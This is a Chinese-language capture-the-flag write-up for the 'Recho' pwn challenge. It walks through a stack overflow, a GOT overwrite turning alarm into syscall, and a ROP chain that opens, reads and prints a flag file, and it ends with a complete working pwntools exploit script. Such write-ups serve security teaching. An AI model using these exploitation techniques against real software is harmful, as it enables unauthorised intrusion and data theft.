Rcheo--攻防世界pwn
1.先查一下保护机制,程序只开了NX保护,堆栈不可执行
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021030615380773.png#pic_center)2.拖入IDA
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210306153943400.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L05DX1JldHVybg==,size_16,color_FFFFFF,t_70#pic_center)
首先会让你输入要输入的字符串长度,再进行输入字符串,显然可以在这里进行栈溢出,但是没什么攻击的思路,继续查找线索,看一下存在的字符串
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210306154330971.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L05DX1JldHVybg==,size_16,color_FFFFFF,t_70#pic_center)发现没有你以前想要的system ,bin/sh之类的东西反而有个flag,那么就有个思路我们能不能直接把flag文件读出来,根据题目现有条件我们可以先执行open-->read-->printf得到我们的flag,但是发现主函数是个死循环,没办法执行我们的payload,好在pwntools有个shutdown函数可以跳出循环,那么理论结束开始写exp
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210306155244661.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L05DX1JldHVybg==,size_16,color_FFFFFF,t_70#pic_center)选择适合的开始构造payload,首先我们需要把alarm函数的GOT表修改成syscall的地址,来构造执行open系统调用
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210306155631992.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L05DX1JldHVybg==,size_16,color_FFFFFF,t_70#pic_center)
看到alarm的系统调用号是0x25,然后调用syscall,我们开始修改GOT表,讲GOT的值加上0x5便是syscall,将调用号改为open的就行,找到合适的gadget
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210306160115221.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L05DX1JldHVybg==,size_16,color_FFFFFF,t_70#pic_center)
```python
payload = 'A'*0x38#覆盖到ebp
payload += p64(pop_rdi) + p64(alarm_got)#将got表的值给rdi
payload += p64(pop_rax) + p64(0x5)#0x5赋值al
payload += p64(rdi_add)#地址加上0x5到syscall
```
接下来就是构造open fd=open('flag',READONLY)
```python
syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8
#rsi=0(READONLY)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
#rdi='flag'
payload += p64(pop_rdi) + p64(elf.search('flag').next())
#open系统调用号为2,rax赋值为2
payload += p64(pop_rax) +p64(2)
#syscall
payload += p64(alarm_plt)
```
执行完open就该把flag写到可写的地方bss段
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210306161553651.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L05DX1JldHVybg==,size_16,color_FFFFFF,t_70#pic_center)构造read(fd,stdin_buf,100);这里应该注意的是fd一般会从3开始,打开一个文件是3那么第二个文件时是4
```python
#将stdin_buf指向bss段的可写位置
payload += p64(pop_rsi_r15) + p64(stdin_buf) + p64(0)
#fd=3
payload += p64(pop_rdi) + p64(3)
#rax=100,最多读取100个字符
payload += p64(pop_rdx) + p64(100)
#调用read函数
payload += p64(read_plt)
```
flag已经写到指定的位置,用printf输出flag
```python
#用printf打印flag
payload += p64(pop_rdi) + p64(stdin_buf) + p64(printf_plt)
```
使用shutdown使循环退出,main函数执行到retn处,执行ROP
```python
#退出循环,ret执行ROP
io.shutdown()
```
exp如下:
```python
#coding:utf8
from pwn import *
context.log_level = 'debug'
io = process('./Recho')
elf = ELF('./Recho')
pop_rax = 0x4006FC
pop_rdx = 0x4006FE
pop_rdi = 0x4008A3
rdi_add = 0x40070d
pop_rsi_r15 = 0x4008A1
stdin_buf = 0x601070
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']
io.recvuntil('Welcome to Recho server!\n')
io.sendline(str(0x200))
payload = 'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x5)
payload += p64(rdi_add)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(elf.search('flag').next())
payload += p64(pop_rax) +p64(2)
payload += p64(alarm_plt)
payload += p64(pop_rsi_r15) + p64(stdin_buf) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buf) + p64(printf_plt)
payload = payload.ljust(0x200,'\x00')
io.sendline(payload)
io.shutdown()
io.interactive()
``` 可以把题目发到题库里
页:
[1]